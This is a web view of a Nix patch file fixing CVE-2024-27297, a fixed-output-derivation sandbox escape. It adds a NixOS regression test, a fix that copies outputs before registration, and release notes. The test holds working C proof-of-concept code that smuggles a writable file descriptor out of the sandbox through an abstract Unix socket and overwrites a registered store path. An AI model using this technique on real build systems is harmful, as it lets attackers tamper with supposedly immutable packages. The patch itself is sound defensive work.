about summary refs log tree commit diff
path: root/nixpkgs/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch
blob: 8d110d46a6bbe84b9ca4af8e1d7e575b9ad41845 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001
From: Tom Bereknyei <tomberek@gmail.com>
Date: Fri, 1 Mar 2024 03:42:26 -0500
Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape

Test that we can't leverage abstract unix domain sockets to leak file
descriptors out of the sandbox and modify the path after it has been
registered.

Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
---
 flake.nix                          |  2 +
 tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++
 tests/nixos/ca-fd-leak/sender.c    | 65 +++++++++++++++++++++
 tests/nixos/ca-fd-leak/smuggler.c  | 66 ++++++++++++++++++++++
 4 files changed, 223 insertions(+)
 create mode 100644 tests/nixos/ca-fd-leak/default.nix
 create mode 100644 tests/nixos/ca-fd-leak/sender.c
 create mode 100644 tests/nixos/ca-fd-leak/smuggler.c

diff --git a/flake.nix b/flake.nix
index 230bb6031..4a54c660f 100644
--- a/flake.nix
+++ b/flake.nix
@@ -634,6 +634,8 @@
           ["i686-linux" "x86_64-linux"]
           (system: runNixOSTestFor system ./tests/nixos/setuid.nix);
 
+        tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak;
+
 
         # Make sure that nix-env still produces the exact same result
         # on a particular version of Nixpkgs.
diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
new file mode 100644
index 000000000..a6ae72adc
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/default.nix
@@ -0,0 +1,90 @@
+# Nix is a sandboxed build system. But Not everything can be handled inside its
+# sandbox: Network access is normally blocked off, but to download sources, a
+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
+# The detail here is not important, but in our case it means that the hash of
+# the output has to be known beforehand. And if you know that, you get a few
+# rights: you no longer run inside a special network namespace!
+#
+# Now, Linux has a special feature, that not many other unices do: Abstract
+# unix domain sockets! Not only that, but those are namespaced using the
+# network namespace! That means that we have a way to create sockets that are
+# available in every single fixed-output derivation, and also all processes
+# running on the host machine! Now, this wouldn't be that much of an issue, as,
+# well, the whole idea is that the output is pure, and all processes in the
+# sandbox are killed before finalizing the output. What if we didn't need those
+# processes at all? Unix domain sockets have a semi-known trick: you can pass
+# file descriptors around!
+# This makes it possible to exfiltrate a file-descriptor with write access to
+# $out outside of the sandbox. And that file-descriptor can be used to modify
+# the contents of the store path after it has been registered.
+
+{ config, ... }:
+
+let
+  pkgs = config.nodes.machine.nixpkgs.pkgs;
+
+  # Simple C program that sends a a file descriptor to `$out` to a Unix
+  # domain socket.
+  # Compiled statically so that we can easily send it to the VM and use it
+  # inside the build sandbox.
+  sender = pkgs.runCommandWith {
+    name = "sender";
+    stdenv = pkgs.pkgsStatic.stdenv;
+  } ''
+    $CC -static -o $out ${./sender.c}
+  '';
+
+  # Okay, so we have a file descriptor shipped out of the FOD now. But the
+  # Nix store is read-only, right? .. Well, yeah. But this file descriptor
+  # lives in a mount namespace where it is not! So even when this file exists
+  # in the actual Nix store, we're capable of just modifying its contents...
+  smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
+
+  # The abstract socket path used to exfiltrate the file descriptor
+  socketName = "FODSandboxExfiltrationSocket";
+in
+{
+  name = "ca-fd-leak";
+
+  nodes.machine =
+    { config, lib, pkgs, ... }:
+    { virtualisation.writableStore = true;
+      nix.settings.substituters = lib.mkForce [ ];
+      virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
+    };
+
+  testScript = { nodes }: ''
+    start_all()
+
+    machine.succeed("echo hello")
+    # Start the smuggler server
+    machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
+
+    # Build the smuggled derivation.
+    # This will connect to the smuggler server and send it the file descriptor
+    machine.succeed(r"""
+      nix-build -E '
+        builtins.derivation {
+          name = "smuggled";
+          system = builtins.currentSystem;
+          # look ma, no tricks!
+          outputHashMode = "flat";
+          outputHashAlgo = "sha256";
+          outputHash = builtins.hashString "sha256" "hello, world\n";
+          builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+          args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
+      }'
+    """.strip())
+
+
+    # Tell the smuggler server that we're done
+    machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
+
+    # Check that the file was not modified
+    machine.succeed(r"""
+      cat ./result
+      test "$(cat ./result)" = "hello, world"
+    """.strip())
+  '';
+
+}
diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
new file mode 100644
index 000000000..75e54fc8f
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/sender.c
@@ -0,0 +1,65 @@
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <string.h>
+#include <assert.h>
+
+int main(int argc, char **argv) {
+
+    assert(argc == 2);
+
+    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+    // Set up a abstract domain socket path to connect to.
+    struct sockaddr_un data;
+    data.sun_family = AF_UNIX;
+    data.sun_path[0] = 0;
+    strcpy(data.sun_path + 1, argv[1]);
+
+    // Now try to connect, To ensure we work no matter what order we are
+    // executed in, just busyloop here.
+    int res = -1;
+    while (res < 0) {
+        res = connect(sock, (const struct sockaddr *)&data,
+            offsetof(struct sockaddr_un, sun_path)
+              + strlen(argv[1])
+              + 1);
+        if (res < 0 && errno != ECONNREFUSED) perror("connect");
+        if (errno != ECONNREFUSED) break;
+    }
+
+    // Write our message header.
+    struct msghdr msg = {0};
+    msg.msg_control = malloc(128);
+    msg.msg_controllen = 128;
+
+    // Write an SCM_RIGHTS message containing the output path.
+    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+    hdr->cmsg_len = CMSG_LEN(sizeof(int));
+    hdr->cmsg_level = SOL_SOCKET;
+    hdr->cmsg_type = SCM_RIGHTS;
+    int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
+    memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
+
+    msg.msg_controllen = CMSG_SPACE(sizeof(int));
+
+    // Write a single null byte too.
+    msg.msg_iov = malloc(sizeof(struct iovec));
+    msg.msg_iov[0].iov_base = "";
+    msg.msg_iov[0].iov_len = 1;
+    msg.msg_iovlen = 1;
+
+    // Send it to the othher side of this connection.
+    res = sendmsg(sock, &msg, 0);
+    if (res < 0) perror("sendmsg");
+    int buf;
+
+    // Wait for the server to close the socket, implying that it has
+    // received the commmand.
+    recv(sock, (void *)&buf, sizeof(int), 0);
+}
diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
new file mode 100644
index 000000000..82acf37e6
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/smuggler.c
@@ -0,0 +1,66 @@
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <assert.h>
+
+int main(int argc, char **argv) {
+
+    assert(argc == 2);
+
+    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+    // Bind to the socket.
+    struct sockaddr_un data;
+    data.sun_family = AF_UNIX;
+    data.sun_path[0] = 0;
+    strcpy(data.sun_path + 1, argv[1]);
+    int res = bind(sock, (const struct sockaddr *)&data,
+        offsetof(struct sockaddr_un, sun_path)
+        + strlen(argv[1])
+        + 1);
+    if (res < 0) perror("bind");
+
+    res = listen(sock, 1);
+    if (res < 0) perror("listen");
+
+    int smuggling_fd = -1;
+
+    // Accept the connection a first time to receive the file descriptor.
+    fprintf(stderr, "%s\n", "Waiting for the first connection");
+    int a = accept(sock, 0, 0);
+    if (a < 0) perror("accept");
+
+    struct msghdr msg = {0};
+    msg.msg_control = malloc(128);
+    msg.msg_controllen = 128;
+
+    // Receive the file descriptor as sent by the smuggler.
+    recvmsg(a, &msg, 0);
+
+    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+    while (hdr) {
+        if (hdr->cmsg_level == SOL_SOCKET
+          && hdr->cmsg_type == SCM_RIGHTS) {
+
+            // Grab the copy of the file descriptor.
+            memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
+        }
+
+        hdr = CMSG_NXTHDR(&msg, hdr);
+    }
+    fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
+    close(a);
+
+    // Wait for a second connection, which will tell us that the build is
+    // done
+    a = accept(sock, 0, 0);
+    fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
+    // Write a new content to the file
+    if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
+    char * new_content = "Pwned\n";
+    int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
+    if (written_bytes != strlen(new_content)) perror("write");
+}
-- 
2.42.0


From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001
From: Tom Bereknyei <tomberek@gmail.com>
Date: Fri, 1 Mar 2024 03:45:39 -0500
Subject: [PATCH 2/3] Copy the output of fixed-output derivations before
 registering them

It is possible to exfiltrate a file descriptor out of the build sandbox
of FODs, and use it to modify the store path after it has been
registered.
To avoid that issue, don't register the output of the build, but a copy
of it (that will be free of any leaked file descriptor).

Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
---
 src/libstore/build/local-derivation-goal.cc | 6 ++++++
 src/libutil/filesystem.cc                   | 6 ++++++
 src/libutil/util.hh                         | 7 +++++++
 3 files changed, 19 insertions(+)

diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc
index 64b55ca6a..f1e22f829 100644
--- a/src/libstore/build/local-derivation-goal.cc
+++ b/src/libstore/build/local-derivation-goal.cc
@@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
             [&](const DerivationOutput::CAFixed & dof) {
                 auto & wanted = dof.ca.hash;
 
+                // Replace the output by a fresh copy of itself to make sure
+                // that there's no stale file descriptor pointing to it
+                Path tmpOutput = actualPath + ".tmp";
+                copyFile(actualPath, tmpOutput, true);
+                renameFile(tmpOutput, actualPath);
+
                 auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
                     .method = dof.ca.method,
                     .hashType = wanted.type,
diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc
index 11cc0c0e7..2a7787c0e 100644
--- a/src/libutil/filesystem.cc
+++ b/src/libutil/filesystem.cc
@@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
     }
 }
 
+
+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
+{
+    return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
+}
+
 void renameFile(const Path & oldName, const Path & newName)
 {
     fs::rename(oldName, newName);
diff --git a/src/libutil/util.hh b/src/libutil/util.hh
index b302d6f45..59d42e0a5 100644
--- a/src/libutil/util.hh
+++ b/src/libutil/util.hh
@@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst);
  */
 void moveFile(const Path & src, const Path & dst);
 
+/**
+ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
+ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
+ * with the guaranty that the destination will be “fresh”, with no stale inode
+ * or file descriptor pointing to it).
+ */
+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
 
 /**
  * Wrappers arount read()/write() that read/write exactly the
-- 
2.42.0


From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001
From: Tom Bereknyei <tomberek@gmail.com>
Date: Fri, 1 Mar 2024 04:01:23 -0500
Subject: [PATCH 3/3] Add release notes

Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
---
 doc/manual/src/release-notes/rl-next.md | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md
index c869b5e2f..f77513385 100644
--- a/doc/manual/src/release-notes/rl-next.md
+++ b/doc/manual/src/release-notes/rl-next.md
@@ -1 +1,9 @@
 # Release X.Y (202?-??-??)
+
+- Fix a FOD sandbox escape:
+    Cooperating Nix derivations could send file descriptors to files in the Nix
+    store to each other via Unix domain sockets in the abstract namespace. This
+    allowed one derivation to modify the output of the other derivation, after Nix
+    has registered the path as "valid" and immutable in the Nix database.
+    In particular, this allowed the output of fixed-output derivations to be
+    modified from their expected content. This isn't the case any more.
-- 
2.42.0